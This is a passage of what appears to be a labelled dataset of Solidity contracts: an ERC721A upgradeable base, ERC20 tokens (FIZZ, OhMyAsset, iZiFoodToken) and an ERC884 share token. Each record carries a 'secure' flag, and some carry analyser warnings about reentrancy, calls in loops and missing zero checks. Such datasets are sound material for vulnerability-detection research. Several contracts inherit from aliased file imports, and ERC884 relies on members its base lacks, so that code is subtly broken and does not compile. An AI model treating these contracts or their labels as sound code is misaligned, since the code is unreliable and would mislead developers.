_BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n function _numberBurned(address owner) internal view returns (uint256) {\n return\n (ERC721AStorage.layout()._packedAddressData[owner] >>\n _BITPOS_NUMBER_BURNED) & _BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n function _getAux(address owner) internal view returns (uint64) {\n return\n uint64(\n ERC721AStorage.layout()._packedAddressData[owner] >> _BITPOS_AUX\n );\n }\n\n function _setAux(address owner, uint64 aux) internal virtual {\n uint256 packed = ERC721AStorage.layout()._packedAddressData[owner];\n\n uint256 auxCasted;\n\n assembly {\n auxCasted := aux\n }\n\n packed =\n (packed & _BITMASK_AUX_COMPLEMENT) |\n (auxCasted << _BITPOS_AUX);\n\n ERC721AStorage.layout()._packedAddressData[owner] = packed;\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n return\n interfaceId == 0x01ffc9a7 ||\n interfaceId == 0x80ac58cd ||\n interfaceId == 0x5b5e139f;\n }\n\n function name() public view virtual override returns (string memory) {\n return ERC721AStorage.layout()._name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return ERC721AStorage.layout()._symbol;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n if (!_exists(tokenId)) revert URIQueryForNonexistentToken();\n\n string memory baseURI = _baseURI();\n\n return\n bytes(baseURI).length != 0\n ? string(abi.encodePacked(baseURI, _toString(tokenId)))\n : \"\";\n }\n\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n function ownerOf(\n uint256 tokenId\n ) public view virtual override returns (address) {\n return address(uint160(_packedOwnershipOf(tokenId)));\n }\n\n function _ownershipOf(\n uint256 tokenId\n ) internal view virtual returns (TokenOwnership memory) {\n return _unpackedOwnership(_packedOwnershipOf(tokenId));\n }\n\n function _ownershipAt(\n uint256 index\n ) internal view virtual returns (TokenOwnership memory) {\n return\n _unpackedOwnership(\n ERC721AStorage.layout()._packedOwnerships[index]\n );\n }\n\n function _initializeOwnershipAt(uint256 index) internal virtual {\n if (ERC721AStorage.layout()._packedOwnerships[index] == 0) {\n ERC721AStorage.layout()._packedOwnerships[\n index\n ] = _packedOwnershipOf(index);\n }\n }\n\n function _packedOwnershipOf(\n uint256 tokenId\n ) private view returns (uint256 packed) {\n if (_startTokenId() <= tokenId) {\n packed = ERC721AStorage.layout()._packedOwnerships[tokenId];\n\n if (packed & _BITMASK_BURNED == 0) {\n if (packed == 0) {\n if (tokenId >= ERC721AStorage.layout()._currentIndex)\n revert OwnerQueryForNonexistentToken();\n\n for (;;) {\n unchecked {\n packed = ERC721AStorage.layout()._packedOwnerships[\n --tokenId\n ];\n }\n\n if (packed == 0) continue;\n\n return packed;\n }\n }\n\n return packed;\n }\n }\n\n revert OwnerQueryForNonexistentToken();\n }\n\n function _unpackedOwnership(\n uint256 packed\n ) private pure returns (TokenOwnership memory ownership) {\n ownership.addr = address(uint160(packed));\n\n ownership.startTimestamp = uint64(packed >> _BITPOS_START_TIMESTAMP);\n\n ownership.burned = packed & _BITMASK_BURNED != 0;\n\n ownership.extraData = uint24(packed >> _BITPOS_EXTRA_DATA);\n }\n\n function _packOwnershipData(\n address owner,\n uint256 flags\n ) private view returns (uint256 result) {\n assembly {\n owner := and(owner, _BITMASK_ADDRESS)\n\n result := or(\n owner,\n or(shl(_BITPOS_START_TIMESTAMP, timestamp()), flags)\n )\n }\n }\n\n function _nextInitializedFlag(\n uint256 quantity\n ) private pure returns (uint256 result) {\n assembly {\n result := shl(_BITPOS_NEXT_INITIALIZED, eq(quantity, 1))\n }\n }\n\n function approve(\n address to,\n uint256 tokenId\n ) public payable virtual override {\n _approve(to, tokenId, true);\n }\n\n function getApproved(\n uint256 tokenId\n ) public view virtual override returns (address) {\n if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();\n\n return ERC721AStorage.layout()._tokenApprovals[tokenId].value;\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public virtual override {\n ERC721AStorage.layout()._operatorApprovals[_msgSenderERC721A()][\n operator\n ] = approved;\n\n emit ApprovalForAll(_msgSenderERC721A(), operator, approved);\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n return ERC721AStorage.layout()._operatorApprovals[owner][operator];\n }\n\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return\n _startTokenId() <= tokenId &&\n tokenId < ERC721AStorage.layout()._currentIndex &&\n ERC721AStorage.layout()._packedOwnerships[tokenId] &\n _BITMASK_BURNED ==\n 0;\n }\n\n function _isSenderApprovedOrOwner(\n address approvedAddress,\n address owner,\n address msgSender\n ) private pure returns (bool result) {\n assembly {\n owner := and(owner, _BITMASK_ADDRESS)\n\n msgSender := and(msgSender, _BITMASK_ADDRESS)\n\n result := or(eq(msgSender, owner), eq(msgSender, approvedAddress))\n }\n }\n\n function _getApprovedSlotAndAddress(\n uint256 tokenId\n )\n private\n view\n returns (uint256 approvedAddressSlot, address approvedAddress)\n {\n ERC721AStorage.TokenApprovalRef storage tokenApproval = ERC721AStorage\n .layout()\n ._tokenApprovals[tokenId];\n\n assembly {\n approvedAddressSlot := tokenApproval.slot\n\n approvedAddress := sload(approvedAddressSlot)\n }\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public payable virtual override {\n uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);\n\n if (address(uint160(prevOwnershipPacked)) != from)\n revert TransferFromIncorrectOwner();\n\n (\n uint256 approvedAddressSlot,\n address approvedAddress\n ) = _getApprovedSlotAndAddress(tokenId);\n\n if (\n !_isSenderApprovedOrOwner(\n approvedAddress,\n from,\n _msgSenderERC721A()\n )\n )\n if (!isApprovedForAll(from, _msgSenderERC721A()))\n revert TransferCallerNotOwnerNorApproved();\n\n if (to == address(0)) revert TransferToZeroAddress();\n\n _beforeTokenTransfers(from, to, tokenId, 1);\n\n assembly {\n if approvedAddress {\n sstore(approvedAddressSlot, 0)\n }\n }\n\n unchecked {\n --ERC721AStorage.layout()._packedAddressData[from];\n\n ++ERC721AStorage.layout()._packedAddressData[to];\n\n ERC721AStorage.layout()._packedOwnerships[\n tokenId\n ] = _packOwnershipData(\n to,\n _BITMASK_NEXT_INITIALIZED |\n _nextExtraData(from, to, prevOwnershipPacked)\n );\n\n if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) {\n uint256 nextTokenId = tokenId + 1;\n\n if (\n ERC721AStorage.layout()._packedOwnerships[nextTokenId] == 0\n ) {\n if (nextTokenId != ERC721AStorage.layout()._currentIndex) {\n ERC721AStorage.layout()._packedOwnerships[\n nextTokenId\n ] = prevOwnershipPacked;\n }\n }\n }\n }\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfers(from, to, tokenId, 1);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public payable virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public payable virtual override {\n transferFrom(from, to, tokenId);\n\n if (to.code.length != 0)\n if (!_checkContractOnERC721Received(from, to, tokenId, _data)) {\n revert TransferToNonERC721ReceiverImplementer();\n }\n }\n\n function _beforeTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n function _afterTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 60b8809): Calls inside a loop might lead to a denial-of-service attack.\n\t// Recommendation for 60b8809: Favor pull over push strategy for external calls.\n function _checkContractOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) private returns (bool) {\n\t\t// reentrancy-events | ID: 341386e\n\t\t// calls-loop | ID: 60b8809\n\t\t// reentrancy-no-eth | ID: e70cdba\n\t\t// reentrancy-no-eth | ID: de78256\n\t\t// reentrancy-no-eth | ID: eb01911\n try\n ERC721A__IERC721ReceiverUpgradeable(to).onERC721Received(\n _msgSenderERC721A(),\n from,\n tokenId,\n _data\n )\n returns (bytes4 retval) {\n return\n retval ==\n ERC721A__IERC721ReceiverUpgradeable(to)\n .onERC721Received\n .selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert TransferToNonERC721ReceiverImplementer();\n } else {\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n }\n\n function _mint(address to, uint256 quantity) internal virtual {\n uint256 startTokenId = ERC721AStorage.layout()._currentIndex;\n\n if (quantity == 0) revert MintZeroQuantity();\n\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\n\n unchecked {\n ERC721AStorage.layout()._packedAddressData[to] +=\n quantity *\n ((1 << _BITPOS_NUMBER_MINTED) | 1);\n\n ERC721AStorage.layout()._packedOwnerships[\n startTokenId\n ] = _packOwnershipData(\n to,\n _nextInitializedFlag(quantity) |\n _nextExtraData(address(0), to, 0)\n );\n\n uint256 toMasked;\n\n uint256 end = startTokenId + quantity;\n\n assembly {\n toMasked := and(to, _BITMASK_ADDRESS)\n\n log4(0, 0, _TRANSFER_EVENT_SIGNATURE, 0, toMasked, startTokenId)\n\n for {\n let tokenId := add(startTokenId, 1)\n } iszero(eq(tokenId, end)) {\n tokenId := add(tokenId, 1)\n } {\n log4(0, 0, _TRANSFER_EVENT_SIGNATURE, 0, toMasked, tokenId)\n }\n }\n\n if (toMasked == 0) revert MintToZeroAddress();\n\n ERC721AStorage.layout()._currentIndex = end;\n }\n\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n function _mintERC2309(address to, uint256 quantity) internal virtual {\n uint256 startTokenId = ERC721AStorage.layout()._currentIndex;\n\n if (to == address(0)) revert MintToZeroAddress();\n\n if (quantity == 0) revert MintZeroQuantity();\n\n if (quantity > _MAX_MINT_ERC2309_QUANTITY_LIMIT)\n revert MintERC2309QuantityExceedsLimit();\n\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\n\n unchecked {\n ERC721AStorage.layout()._packedAddressData[to] +=\n quantity *\n ((1 << _BITPOS_NUMBER_MINTED) | 1);\n\n ERC721AStorage.layout()._packedOwnerships[\n startTokenId\n ] = _packOwnershipData(\n to,\n _nextInitializedFlag(quantity) |\n _nextExtraData(address(0), to, 0)\n );\n\n emit ConsecutiveTransfer(\n startTokenId,\n startTokenId + quantity - 1,\n address(0),\n to\n );\n\n ERC721AStorage.layout()._currentIndex = startTokenId + quantity;\n }\n\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n function _safeMint(\n address to,\n uint256 quantity,\n bytes memory _data\n ) internal virtual {\n _mint(to, quantity);\n\n unchecked {\n if (to.code.length != 0) {\n uint256 end = ERC721AStorage.layout()._currentIndex;\n\n uint256 index = end - quantity;\n\n do {\n if (\n !_checkContractOnERC721Received(\n address(0),\n to,\n index++,\n _data\n )\n ) {\n revert TransferToNonERC721ReceiverImplementer();\n }\n } while (index < end);\n\n if (ERC721AStorage.layout()._currentIndex != end) revert();\n }\n }\n }\n\n function _safeMint(address to, uint256 quantity) internal virtual {\n _safeMint(to, quantity, \"\");\n }\n\n function _approve(address to, uint256 tokenId) internal virtual {\n _approve(to, tokenId, false);\n }\n\n function _approve(\n address to,\n uint256 tokenId,\n bool approvalCheck\n ) internal virtual {\n address owner = ownerOf(tokenId);\n\n if (approvalCheck)\n if (_msgSenderERC721A() != owner)\n if (!isApprovedForAll(owner, _msgSenderERC721A())) {\n revert ApprovalCallerNotOwnerNorApproved();\n }\n\n ERC721AStorage.layout()._tokenApprovals[tokenId].value = to;\n\n emit Approval(owner, to, tokenId);\n }\n\n function _burn(uint256 tokenId) internal virtual {\n _burn(tokenId, false);\n }\n\n function _burn(uint256 tokenId, bool approvalCheck) internal virtual {\n uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);\n\n address from = address(uint160(prevOwnershipPacked));\n\n (\n uint256 approvedAddressSlot,\n address approvedAddress\n ) = _getApprovedSlotAndAddress(tokenId);\n\n if (approvalCheck) {\n if (\n !_isSenderApprovedOrOwner(\n approvedAddress,\n from,\n _msgSenderERC721A()\n )\n )\n if (!isApprovedForAll(from, _msgSenderERC721A()))\n revert TransferCallerNotOwnerNorApproved();\n }\n\n _beforeTokenTransfers(from, address(0), tokenId, 1);\n\n assembly {\n if approvedAddress {\n sstore(approvedAddressSlot, 0)\n }\n }\n\n unchecked {\n ERC721AStorage.layout()._packedAddressData[from] +=\n (1 << _BITPOS_NUMBER_BURNED) -\n 1;\n\n ERC721AStorage.layout()._packedOwnerships[\n tokenId\n ] = _packOwnershipData(\n from,\n (_BITMASK_BURNED | _BITMASK_NEXT_INITIALIZED) |\n _nextExtraData(from, address(0), prevOwnershipPacked)\n );\n\n if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) {\n uint256 nextTokenId = tokenId + 1;\n\n if (\n ERC721AStorage.layout()._packedOwnerships[nextTokenId] == 0\n ) {\n if (nextTokenId != ERC721AStorage.layout()._currentIndex) {\n ERC721AStorage.layout()._packedOwnerships[\n nextTokenId\n ] = prevOwnershipPacked;\n }\n }\n }\n }\n\n emit Transfer(from, address(0), tokenId);\n\n _afterTokenTransfers(from, address(0), tokenId, 1);\n\n unchecked {\n ERC721AStorage.layout()._burnCounter++;\n }\n }\n\n function _setExtraDataAt(uint256 index, uint24 extraData) internal virtual {\n uint256 packed = ERC721AStorage.layout()._packedOwnerships[index];\n\n if (packed == 0) revert OwnershipNotInitializedForExtraData();\n\n uint256 extraDataCasted;\n\n assembly {\n extraDataCasted := extraData\n }\n\n packed =\n (packed & _BITMASK_EXTRA_DATA_COMPLEMENT) |\n (extraDataCasted << _BITPOS_EXTRA_DATA);\n\n ERC721AStorage.layout()._packedOwnerships[index] = packed;\n }\n\n function _extraData(\n address from,\n address to,\n uint24 previousExtraData\n ) internal view virtual returns (uint24) {}\n\n function _nextExtraData(\n address from,\n address to,\n uint256 prevOwnershipPacked\n ) private view returns (uint256) {\n uint24 extraData = uint24(prevOwnershipPacked >> _BITPOS_EXTRA_DATA);\n\n return uint256(_extraData(from, to, extraData)) << _BITPOS_EXTRA_DATA;\n }\n\n function _msgSenderERC721A() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _toString(\n uint256 value\n ) internal pure virtual returns (string memory str) {\n assembly {\n let m := add(mload(0x40), 0xa0)\n\n mstore(0x40, m)\n\n str := sub(m, 0x20)\n\n mstore(str, 0)\n\n let end := str\n\n for {\n let temp := value\n } 1 {} {\n str := sub(str, 1)\n\n mstore8(str, add(48, mod(temp, 10)))\n\n temp := div(temp, 10)\n\n if iszero(temp) {\n break\n }\n }\n\n let length := sub(end, str)\n\n str := sub(str, 0x20)\n\n mstore(str, length)\n }\n }\n}",
"file_name": "solidity_code_2670.sol",
"secure": 0,
"size_bytes": 23171
} |
{
"code": "// SPDX-License-Identifier: FIZZ\n\npragma solidity ^0.8.0;\n\nabstract contract ERC20Interface {\n function owner() public view virtual returns (address);\n function totalSupply() public view virtual returns (uint256);\n function soldtokensvalue() public view virtual returns (uint256);\n function balanceOf(\n address tokenOwner\n ) public view virtual returns (uint256 balance);\n function allowance(\n address tokenOwner,\n address spender\n ) public view virtual returns (uint256 remaining);\n function transfer(\n address to,\n uint256 tokens\n ) public virtual returns (bool success);\n function approve(\n address spender,\n uint256 tokens\n ) public virtual returns (bool success);\n function transferFrom(\n address from,\n address to,\n uint256 tokens\n ) public virtual returns (bool success);\n}",
"file_name": "solidity_code_2671.sol",
"secure": 1,
"size_bytes": 917
} |
{
"code": "// SPDX-License-Identifier: FIZZ\n\npragma solidity ^0.8.0;\n\ncontract Ownable {\n address public _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _owner = msg.sender;\n emit OwnershipTransferred(address(0), msg.sender);\n }\n\n modifier onlyOwner() {\n require(_owner == msg.sender, \"Ownable: caller is not the owner\");\n _;\n }\n\n function renounceOwnership() public onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public onlyOwner {\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n emit OwnershipTransferred(_owner, newOwner);\n _owner = newOwner;\n }\n}",
"file_name": "solidity_code_2672.sol",
"secure": 1,
"size_bytes": 1013
} |
{
"code": "// SPDX-License-Identifier: FIZZ\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Interface.sol\" as ERC20Interface;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract FIZZ is ERC20Interface, SafeMath, Ownable, Context {\n string public symbol;\n string public name;\n\t// WARNING Optimization Issue (immutable-states | ID: 01309b2): FIZZ.decimals should be immutable \n\t// Recommendation for 01309b2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: 0e141ed): FIZZ._totalSupply should be immutable \n\t// Recommendation for 0e141ed: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply;\n uint256 soldtokens;\n\t// WARNING Optimization Issue (constable-states | ID: e7d850a): FIZZ.lock should be constant \n\t// Recommendation for e7d850a: Add the 'constant' attribute to state variables that never change.\n bool lock;\n\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) allowed;\n\n event Approval(\n address indexed _owner,\n address indexed _spender,\n uint256 _value\n );\n\n event Transfer(address indexed _from, address indexed _to, uint256 _value);\n\n constructor() {\n symbol = \"FIZZ\";\n name = \"FIZZ COIN\";\n decimals = 18;\n _totalSupply = 10000000000 * 1e18;\n balances[msg.sender] = _totalSupply;\n }\n\n function soldtokensvalue() public view override returns (uint256) {\n return soldtokens;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function owner() public view override returns (address) {\n return _owner;\n }\n\n function transfer(\n address to,\n uint256 tokens\n ) public override returns (bool success) {\n require(to != address(0), \"invalid reciever address\");\n require(\n balances[msg.sender] >= tokens &&\n safeAdd(balances[to], tokens) >= balances[to]\n );\n balances[msg.sender] = safeSub(balances[msg.sender], tokens);\n balances[to] = safeAdd(balances[to], tokens);\n if (msg.sender == _owner) {\n soldtokens = safeAdd(soldtokens, tokens);\n }\n emit Transfer(msg.sender, to, tokens);\n return true;\n }\n\n function approve(\n address spender,\n uint256 tokens\n ) public override returns (bool success) {\n require(spender != address(0), \"invalid spender address\");\n allowed[msg.sender][spender] = tokens;\n emit Approval(msg.sender, spender, tokens);\n return true;\n }\n\n function balanceOf(\n address user\n ) public view override returns (uint256 balance) {\n return balances[user];\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokens\n ) public override returns (bool success) {\n require(from != address(0), \"invalid sender address\");\n require(to != address(0), \"invalid reciever address\");\n require(\n balances[from] >= tokens &&\n safeAdd(balances[to], tokens) >= balances[to],\n \"insufficient funds\"\n );\n allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);\n balances[from] = safeSub(balances[from], tokens);\n balances[to] = safeAdd(balances[to], tokens);\n if (from == _owner) {\n soldtokens = safeAdd(soldtokens, tokens);\n }\n emit Transfer(from, to, tokens);\n\n return true;\n }\n\n function getOwneretherBalance() public view returns (uint256) {\n return _owner.balance;\n }\n\n function etherbalance(address _account) public view returns (uint256) {\n return _account.balance;\n }\n\n function allowance(\n address tokenOwner,\n address spender\n ) public view override returns (uint256 remaining) {\n return allowed[tokenOwner][spender];\n }\n}",
"file_name": "solidity_code_2673.sol",
"secure": 1,
"size_bytes": 4358
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract OhMyAsset is ERC20 {\n using SafeMath for uint256;\n\n address public _governance;\n uint256 internal _locked;\n\n constructor() ERC20(\"OhMyAsset Token\", \"OMA\") {\n _governance = msg.sender;\n _locked = 500000000000;\n uint256 initSupply = 500000000000;\n _mint(msg.sender, initSupply);\n }\n\n function decimals() public pure override returns (uint8) {\n return 3;\n }\n\n function totalSupply() public view override returns (uint256) {\n return super.totalSupply().add(_locked);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6ddfaaf): OhMyAsset.setGovernance(address).governance lacks a zerocheck on \t _governance = governance\n\t// Recommendation for 6ddfaaf: Check that the address is not zero.\n function setGovernance(address governance) public {\n require(msg.sender == _governance, \"!governance\");\n\t\t// missing-zero-check | ID: 6ddfaaf\n _governance = governance;\n }\n\n function getLocked() public view returns (uint256) {\n return _locked;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e9cbfff): OhMyAsset.unlockToken(address,uint256) should emit an event for _locked = _locked.sub(amount) \n\t// Recommendation for e9cbfff: Emit an event for critical parameter changes.\n function unlockToken(address account, uint256 amount) public {\n require(msg.sender == _governance, \"!governance\");\n require(account != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"empty\");\n require(_locked >= amount, \"amount > locked\");\n\n\t\t// events-maths | ID: e9cbfff\n _locked = _locked.sub(amount);\n _mint(account, amount);\n }\n}",
"file_name": "solidity_code_2674.sol",
"secure": 0,
"size_bytes": 1968
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ProxyRegistry.sol\" as ProxyRegistry;\n\nabstract contract OpenSeaTradable {\n address private _proxyRegistry;\n\n function openSeaProxyRegistry() public view returns (address) {\n return _proxyRegistry;\n }\n\n function _isOwnersOpenSeaProxy(\n address owner,\n address operator\n ) internal view virtual returns (bool) {\n address proxyRegistry_ = _proxyRegistry;\n\n if (proxyRegistry_ != address(0)) {\n address ownerProxy = ProxyRegistry(proxyRegistry_).proxies(owner);\n return ownerProxy == operator;\n }\n\n return false;\n }\n\n function _setOpenSeaRegistry(\n address proxyRegistryAddress\n ) internal virtual {\n _proxyRegistry = proxyRegistryAddress;\n }\n}",
"file_name": "solidity_code_2675.sol",
"secure": 1,
"size_bytes": 852
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract ProxyRegistry {\n mapping(address => address) public proxies;\n}",
"file_name": "solidity_code_2676.sol",
"secure": 1,
"size_bytes": 138
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256 c) {\n c = a + b;\n require(c >= a);\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {\n require(b <= a);\n c = a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {\n c = a * b;\n require(a == 0 || c / a == b);\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256 c) {\n require(b > 0);\n c = a / b;\n }\n}",
"file_name": "solidity_code_2677.sol",
"secure": 1,
"size_bytes": 618
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\nabstract contract ERC20 {\n using SafeMath for uint;\n\n string public name;\n string public symbol;\n\n uint256 _totalSupply;\n uint256 funds;\n uint8 decimals;\n\n uint256 dateDeploy;\n uint256 blockYears;\n\n address owner;\n\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) alloweds;\n\n constructor() {\n name = \"iZiFoodToken\";\n symbol = \"IZFO\";\n _totalSupply = 1000000;\n funds = 510000;\n decimals = 0;\n owner = msg.sender;\n balances[owner] = _totalSupply - funds;\n dateDeploy = block.timestamp;\n blockYears = dateDeploy + 730 days;\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Only owner can use this function\");\n _;\n }\n\n modifier blockedTime() {\n require(\n block.timestamp >= blockYears,\n \"This funds are blocked for 2 years\"\n );\n _;\n }\n\n function totalSupply() public view returns (uint256 total) {\n return _totalSupply;\n }\n\n function balanceOf(address _address) public view returns (uint256 balance) {\n require(_address != address(0x0));\n return balances[_address];\n }\n\n function transfer(\n address _to,\n uint256 _value\n ) public virtual returns (bool success) {\n require(_to != msg.sender, \"Can't send tokens to the same address\");\n require(_to != address(0x0), \"Can't send to a null address\");\n require(_value > 0, \"Can't send a negative amount of tokens\");\n require(balances[msg.sender] >= _value, \"Insufficient balance\");\n\n balances[msg.sender] = balances[msg.sender].sub(_value);\n balances[_to] = balances[_to].add(_value);\n\n emit Transfer(msg.sender, _to, _value);\n\n return true;\n }\n\n function approve(\n address _spender,\n uint256 _value\n ) public returns (bool success) {\n require(\n _spender != msg.sender,\n \"Can't approve tokens to the same address\"\n );\n require(\n balances[msg.sender] >= _value,\n \"Insufficient amount of tokens\"\n );\n require(_spender != address(0x0), \"Can't approve a null address\");\n\n alloweds[msg.sender][_spender] = alloweds[msg.sender][_spender].add(\n _value\n );\n\n emit Approval(msg.sender, _spender, _value);\n\n return true;\n }\n\n function disapprove(\n address _spender,\n uint256 _value\n ) public returns (bool success) {\n require(\n alloweds[msg.sender][_spender] >= _value,\n \"Can't disapprove more than the approved\"\n );\n require(_spender != address(0x0), \"Can't disapprove a null address\");\n\n alloweds[msg.sender][_spender] = alloweds[msg.sender][_spender].sub(\n _value\n );\n\n emit Desapproval(msg.sender, _spender, _value);\n\n return true;\n }\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _value\n ) public virtual returns (bool success) {\n require(balances[_from] >= _value, \"Insufficient balance\");\n require(\n alloweds[_from][msg.sender] >= _value,\n \"Insufficient allowance\"\n );\n require(_value > 0, \"Can't send a negative amount of tokens\");\n require(_to != address(0x0), \"Can't send to a null address\");\n require(_from != address(0x0), \"Can't send from a null address\");\n\n balances[_from] = balances[_from].sub(_value);\n balances[_to] = balances[_to].add(_value);\n alloweds[_from][msg.sender] = alloweds[_from][msg.sender].sub(_value);\n\n emit Transfer(_from, _to, _value);\n\n return true;\n }\n\n function requestFunds()\n public\n onlyOwner\n blockedTime\n returns (bool success)\n {\n require(funds > 0, \"Funds have already been transferred\");\n\n balances[owner] = balances[owner].add(funds);\n funds = 0;\n\n return true;\n }\n\n event Transfer(address indexed _from, address indexed _to, uint256 _value);\n\n event Approval(\n address indexed _owner,\n address indexed _spender,\n uint256 _value\n );\n\n event Desapproval(\n address indexed _owner,\n address indexed _spender,\n uint256 _value\n );\n}",
"file_name": "solidity_code_2678.sol",
"secure": 1,
"size_bytes": 4648
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ERC884 is ERC20 {\n mapping(address => bytes32) private verified;\n mapping(address => address) private cancellations;\n mapping(address => uint256) private holderIndices;\n\n address[] private shareholders;\n\n modifier isVerifiedAddress(address _addr) {\n require(\n verified[_addr] != bytes32(0),\n \"The address isn't in verified list\"\n );\n _;\n }\n\n modifier isShareholder(address _addr) {\n require(\n holderIndices[_addr] != 0,\n \"The address isn't in a shareholder\"\n );\n _;\n }\n\n modifier isNotShareholder(address _addr) {\n require(holderIndices[_addr] == 0, \"The address is a shareholder\");\n _;\n }\n\n modifier isNotCancelled(address _addr) {\n require(cancellations[_addr] == address(0x0));\n _;\n }\n\n function addVerified(\n address _addr,\n bytes32 _hash\n ) public onlyOwner isNotCancelled(_addr) {\n require(_addr != address(0x0), \"Can't add a null address\");\n require(_hash != bytes32(0), \"Can't set a null hash\");\n require(verified[_addr] == bytes32(0), \"Can't add same address\");\n\n verified[_addr] = _hash;\n\n emit VerifiedAddressAdded(_addr, _hash, msg.sender);\n }\n\n function removeVerified(address _addr) public onlyOwner {\n require(_addr != address(0x0), \"Can't remove a null address\");\n require(\n balances[_addr] == 0,\n \"Can't remove an address that has tokens\"\n );\n\n if (verified[_addr] != bytes32(0)) {\n verified[_addr] = bytes32(0);\n emit VerifiedAddressRemoved(_addr, msg.sender);\n }\n }\n\n function updateVerified(\n address _addr,\n bytes32 _hash\n ) public onlyOwner isVerifiedAddress(_addr) {\n require(_hash != bytes32(0), \"The hash is required\");\n\n bytes32 oldHash = verified[_addr];\n\n if (oldHash != _hash) {\n verified[_addr] = _hash;\n emit VerifiedAddressUpdated(_addr, oldHash, _hash, msg.sender);\n }\n }\n\n function cancelAndReissue(\n address _original,\n address _replacement\n )\n public\n onlyOwner\n isShareholder(_original)\n isNotShareholder(_replacement)\n isVerifiedAddress(_replacement)\n returns (bool success)\n {\n verified[_original] = bytes32(0);\n cancellations[_original] = _replacement;\n\n uint256 holderIndex = holderIndices[_original] - 1;\n shareholders[holderIndex] = _replacement;\n\n holderIndices[_replacement] = holderIndices[_original];\n holderIndices[_original] = 0;\n\n balances[_replacement] = balances[_original];\n balances[_original] = 0;\n\n emit VerifiedAddressSuperseded(_original, _replacement, msg.sender);\n\n return true;\n }\n\n function transfer(\n address _to,\n uint256 _value\n ) public override isVerifiedAddress(_to) returns (bool success) {\n updateShareholders(_to);\n pruneShareholders(msg.sender, _value);\n return super.transfer(_to, _value);\n }\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _value\n ) public override isVerifiedAddress(_to) returns (bool success) {\n updateShareholders(_to);\n pruneShareholders(_from, _value);\n return super.transferFrom(_from, _to, _value);\n }\n\n function isVerified(\n address _addr\n ) public view returns (bool verifiedAddress) {\n require(_addr != address(0x0), \"Can't verify a null address\");\n\n return verified[_addr] != bytes32(0);\n }\n\n function 